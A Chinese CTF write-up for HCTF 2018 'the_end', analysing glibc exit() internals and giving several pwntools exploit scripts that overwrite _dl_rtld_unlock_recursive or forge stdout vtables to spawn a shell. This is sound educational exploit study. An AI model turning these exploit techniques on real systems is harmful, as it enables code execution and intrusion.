hctf2018_the_end

远程:2.27-3ubuntu1

image-20240609175811827

每次往一个地址里面写1字节,给了libc

_dl_rtld_unlock_recursive/_dl_rtld_lock_recursive

往libc中写入数据,通过exit退出,打exithook,用one_gadget来获取shell

我们劫持ld中rtld_global结构体的_dl_rtld_unlock_recursive/_dl_rtld_lock_recursive

最后打的是_dl_rtld_unlock_recursive _dl_rtld_lock_recursive没通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *


if __name__ == '__main__' :
context.log_level = 'info'
IPort = 'node5.buuoj.cn 28004'
pwnfile = './the_end'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

ru(b'0x')
libc_base = int(r(12), 16) - libc.sym['sleep']

one_gadget = [0x4f2c5, 0x4f322, 0x10a38c, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398]
one = libc_base + one_gadget[7]
ori0 = one & 0xff
ori1 = one>>8 & 0xff
ori2 = one>>16 & 0xff
ori3 = one>>24 & 0xff
ori4 = one>>32 & 0xff
leak("one_gadget", one)
print(hex(ori0))
print(hex(ori1))
print(hex(ori2))
print(hex(ori3))
print(hex(ori4))

IO_file_overflow = 0x3e82b8 + libc_base
IO_file_underflow = 0x3e82c0 + libc_base
dl_rtld_lock_recursive = 0x619f60 + libc_base
dl_rtld_unlock_recursive = 0x619f68 + libc_base
leak("IO_file_overflow", IO_file_overflow)
ru(b' good luck ;)\n')
# debug()

s(p64(dl_rtld_unlock_recursive))
s(p8(ori0))
s(p64(dl_rtld_unlock_recursive+1))
s(p8(ori1))
s(p64(dl_rtld_unlock_recursive+2))
s(p8(ori2))
s(p64(dl_rtld_unlock_recursive+3))
s(p8(ori3))
s(p64(dl_rtld_unlock_recursive+4))
s(p8(ori4))

itr()

fini_array

如果没开pie和RELRO的话直接改fini_array为one_gadget打了,不过这种题目很少了

_IO_flush_all_lockp/ _IO_unbuffer_all ()

我们分析一下exit的调用链

image-20240610173504887

正常调用链:exit –> __run_exit_handlers –> _exit -> INLINE_SYSCALL

在调用__run_exit_handlers 时,会触发 RUN_HOOK (__libc_atexit, ()); 调用libc退出时的析构函数__libc_atexit,位于__libc_atexit段上,里面默认只有一个函数fcloseall()

1
2
3
4
5
6
7
8
9
10
11
__libc_atexit:00000000003E7738 ; ===========================================================================
__libc_atexit:00000000003E7738
__libc_atexit:00000000003E7738 ; Segment type: Pure data
__libc_atexit:00000000003E7738 ; Segment permissions: Read/Write
__libc_atexit:00000000003E7738 __libc_atexit segment qword public 'DATA' use64
__libc_atexit:00000000003E7738 assume cs:__libc_atexit
__libc_atexit:00000000003E7738 ;org 3E7738h
__libc_atexit:00000000003E7738 off_3E7738 dq offset fcloseall_0 ; DATA XREF: sub_42ED0+202↑o
__libc_atexit:00000000003E7738 ; __libc_freeres+28↑o
__libc_atexit:00000000003E7738 __libc_atexit ends
__libc_atexit:00000000003E7738

fcloseall.c

1
2
3
4
5
6
int
__fcloseall (void)
{
/* Close all streams. */
return _IO_cleanup ();
}

genops.c

1
2
3
4
5
6
7
8
9
10
11
int
_IO_cleanup (void)
{
/* 刷新所有流 */
int result = _IO_flush_all_lockp (0);

/* 关闭所有流的缓冲区 */
_IO_unbuffer_all ();

return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // --> target
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static void
_IO_unbuffer_all (void)
{
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain)
{
int legacy = 0;

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
if (__glibc_unlikely (_IO_vtable_offset (fp) != 0))
legacy = 1;
#endif

if (! (fp->_flags & _IO_UNBUFFERED)
/* Iff stream is un-orientated, it wasn't used. */
&& (legacy || fp->_mode != 0))
{
#ifdef _IO_MTSAFE_IO
int cnt;
#define MAXTRIES 2
for (cnt = 0; cnt < MAXTRIES; ++cnt)
if (fp->_lock == NULL || _IO_lock_trylock (*fp->_lock) == 0)
break;
else
/* Give the other thread time to finish up its use of the
stream. */
__sched_yield ();
#endif

if (! legacy && ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
{
fp->_flags |= _IO_USER_BUF;

fp->_freeres_list = freeres_list;
freeres_list = fp;
fp->_freeres_buf = fp->_IO_buf_base;
}

_IO_SETBUF (fp, NULL, 0); // --> target

if (! legacy && fp->_mode > 0)
_IO_wsetb (fp, NULL, NULL, 0);

#ifdef _IO_MTSAFE_IO
if (cnt < MAXTRIES && fp->_lock != NULL)
_IO_lock_unlock (*fp->_lock);
#endif
}

/* Make sure that never again the wide char functions can be
used. */
if (! legacy)
fp->_mode = -1;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}

利用__IO_cleanup时,可利用的函数有_IO_flush_all_lockp与_IO_unbuffer_all

其中可以伪造_IO_flush_all_lockp中的_IO_overflow,伪造_IO_unbuffer_all中的_IO_setbufk

那么首先我们需要伪造*vtable指向一个可写地址

由于libc版本>2.24,存在_IO_vtable_check

_IO_vtable_check libioP.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;

我们需要绕过if (__glibc_unlikely (offset >= section_length))的check,就需要 ptr - __start___libc_IO_vtables >= __stop___libc_IO_vtables - __start___libc_IO_vtables,即ptr要在__start___libc_IO_vtables到__stop___libc_IO_vtables之间(该范围被设置为了不可写)

那我们尝试打io_str_finish

调用链子: __run_exit_handlers –> __fcloseall –> _IO_cleanup –> _IO_flush_all_lockp –> _IO_OVERFLOW(_IO_finish_t)

先用两次修改次数,来将stdout.vtable指向&_IO_str_jumps-8,这样exit在调用_IO_flush_all_lockp时会执行_IO_str_finish,而不是_IO_overflow

修改((_IO_strfile *) fp)->_s._free_buffer 为 one_gadget 地址, 触发程序执行 _IO_str_finish函数就可以得到 shell,但是由于存在绕过的要求,不够写

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

绕过:

要满足 fp->_IO_buf_base 不为空,并且由于它作为 fp->_s._free_buffer 的第一个参数,因此可以使用 /bin/sh 的地址。
fp->_flags 要不包含_IO_USER_BUF,它的定义为 #define _IO_USER_BUF 1,即 fp->_flags 最低位为 0 。
缓冲区需要有数据,即 _IO_write_base < _IO_write_ptr 。
_mode 需要小于等于 0 。

_flags &= -1

_IO_write_base < _IO_write_ptr

*vtable = &_IO_str_jumps - 0x8

_free_buffer = one_gadget

_IO_write_ptr 需要写一次,*vtable = &_IO_str_jumps - 0x8 需要写两次,_free_buffer = one_gadget需要改三次,行不通

如果能有六次写的机会的话,就能打_IO_flush_all_lockp

改另一条链子 __run_exit_handlers –> __fcloseall –> _IO_cleanup –> _IO_unbuffer_all –> _IO_setbuf,下面这个博客所示方法

2018 HCTF the_end - 简书 (jianshu.com)

由于原题是2.23的,所以能任意伪造vtable地址到任意地址

  • 利用的是在程序调用 exit 后,会遍历_IO_list_all,调用_IO_2_1_stdout_下的vatable_setbuf函数.

  • 可以先修改两个字节在当前vtable附近伪造一个fake_vtable,然后使用 3 个字节修改fake_vtable_setbuf的内容为one_gadget.

本地patch 2.23

image-20240610203831160

将vtable迁移到可写段上,我们可以改 _IO_OVERFLOW\_IO_SETBUF为one_gadget,最后执行链子1\2获取shell

设置目标作为_IO_OVERFLOW\_IO_SETBUF,通过偏移函数在虚表中的偏移来计算得到fake_vtable_addr

打_IO_SETBUF,成功执行到one_gadget了,但是栈的问题没有执行,试了几个都没用

image-20240610211016997

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
context.log_level = 'info'
IPort = 'node5.buuoj.cn 28004'
pwnfile = './the_end'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

ru(b'0x')
libc_base = int(r(12), 16) - libc.sym['sleep']

# one_gadget = [0x4f2c5, 0x4f322, 0x10a38c, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398]
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247, 0xcd173, 0xcd248, 0xf03a4, 0xf03b0, 0xf1247, 0xf67f0]
one = libc_base + one_gadget[0]
ori0 = one & 0xff
ori1 = one>>8 & 0xff
ori2 = one>>16 & 0xff
ori3 = one>>24 & 0xff
ori4 = one>>32 & 0xff
leak("one_gadget", one)
print(hex(ori0))
print(hex(ori1))
print(hex(ori2))
print(hex(ori3))
print(hex(ori4))

stdout_vtable = libc_base + 0x3c56f8 #-->fake_vtable
fake_vtable_addr = libc_base + 0x3c5588 #fake_vtable->0x58 = _IO_setbuf_t
setbuf = libc_base + 0x3c55e0

leak("stdout_vtable", stdout_vtable)
leak("fake_vtable", fake_vtable_addr)


debug("b _IO_flush_all_lockp")
s(p64(stdout_vtable))
s(p8(fake_vtable_addr&0xff))
s(p64(stdout_vtable+1))
s(p8(fake_vtable_addr>>8&0xff))

s(p64(setbuf))
s(p8(ori0))
s(p64(setbuf+1))
s(p8(ori1))
s(p64(setbuf+2))
s(p8(ori2))

leak("libc_base", libc_base)

itr()

打_IO_OVERFLOW的话需要缓冲区有数据,这里需要多利用一字节修改,所以不可行。

总结:

这道题如果没开pie和RELRO可以用fini_array来打

如果能多写一字节可以利用_IO_OVERFLOW,io_str_finish

这道题涉及了exit()函数的调用链、较高版本的IO利用,是一道值得思考的题目


续:io_str_finish

试试io_str_finish打,给文件打补丁,需要多写一字节来修改_IO_write_ptr指针

image-20240611124316929

将0x837df404修改成0x837df405

image-20240611124604166

2.27_3.1 patch

image-20240611124949226

可惜one_gadget得到的gadget都用不了,试着在libc里面找也没找到合适的gadget

_IO_2_1_stdout_{

​ _flag &= -1

​ IO_write_base < IO_write_ptr

​ _IO_buf_base = &_bin_sh

​ _modle <= 0

​ *vtable = &_IO_str_jumps - 0x8 ==> __IO_overflow -> _IO_finish_t

​ }

stdout_str_fields = system(one_gadget)

调用链: __run_exit_handlers –> __fcloseall –> _IO_cleanup –> _IO_flush_all_lockp –> _IO_OVERFLOW(_IO_finish_t)

如果还有个任意地址写多字节的话往_IO_buf_base = &_bin_sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def pwn1():
dl_rtld_lock_recursive = 0x619f60 + libc_base
dl_rtld_unlock_recursive = 0x619f68 + libc_base
ru(b' good luck ;)\n')
# debug()

s(p64(dl_rtld_unlock_recursive))
s(p8(ori0))
s(p64(dl_rtld_unlock_recursive+1))
s(p8(ori1))
s(p64(dl_rtld_unlock_recursive+2))
s(p8(ori2))
s(p64(dl_rtld_unlock_recursive+3))
s(p8(ori3))
s(p64(dl_rtld_unlock_recursive+4))
s(p8(ori4))


if __name__ == '__main__' :
context.log_level = 'info'
IPort = 'node5.buuoj.cn 28004'
pwnfile = './the_end_5'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

ru(b'0x')
libc_base = int(r(12), 16) - libc.sym['sleep']

one_gadget = [0x4f2c5, 0x4f322, 0x10a38c, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398]
one = libc_base + one_gadget[7]
ori0 = one & 0xff
ori1 = one>>8 & 0xff
ori2 = one>>16 & 0xff
ori3 = one>>24 & 0xff
ori4 = one>>32 & 0xff
leak("one_gadget", one)
print(hex(ori0))
print(hex(ori1))
print(hex(ori2))
print(hex(ori3))
print(hex(ori4))

stdout_vtable = libc_base + 0x3ec838 #-->fake_vtable
stdout_free_buffer = libc_base + 0x3ec848 #-->one_gadget
fake_vtable = libc_base + 0x3e8360 - 8 #&_IO_str_jumps - 8
stdout_IO_write_ptr = libc_base + 0x3ec788

leak("stdout_vtable", stdout_vtable)
leak("fake_vtable", fake_vtable)
leak("stdout_free_buffer", stdout_free_buffer)

# debug("b _IO_flush_all_lockp")
debug("b _IO_str_finish")
s(p64(stdout_vtable)) #改stdout_vtable -> _IO_str_jumps-8, 调用_IO_OVERFLOW时会按照0x18偏移找到_IO_str_finish
s(p8(fake_vtable&0xff))
s(p64(stdout_vtable+1))
s(p8(fake_vtable>>8&0xff))

s(p64(stdout_free_buffer))
s(p8(ori0))
s(p64(stdout_free_buffer+1))
s(p8(ori1))
s(p64(stdout_free_buffer+2))
s(p8(ori2))

s(p64(stdout_IO_write_ptr))
s(p8(0xff))

itr()

image-20240611130110444

libc-2.28 版本起 _IO_str_finish 不再调用 _free_buffer 而是直接是直接调用 free ,因此该方法失效。

2.34以下可以利用 IO_validate_vtable 劫持程序流,自 glibc-2.24 起在调用 vtable 中的函数前会调用 IO_validate_vtable 检查 vtable 执向的 _IO_jump_t 的地址是否合法,如果如果 rtld_active 返回 true(具体看调试,因为可能存在GLRO(dl_init_all_dirs)不可写且为 NULL 的情况)则会调用 _dl_addr,最终执行 __rtld_lock_lock_recursive (GL(dl_load_lock)) 2.34失效

参考博客:linux IO_FILE 利用_io list all结构体-CSDN博客

exit()分析与利用-安全客 - 安全资讯平台 (anquanke.com)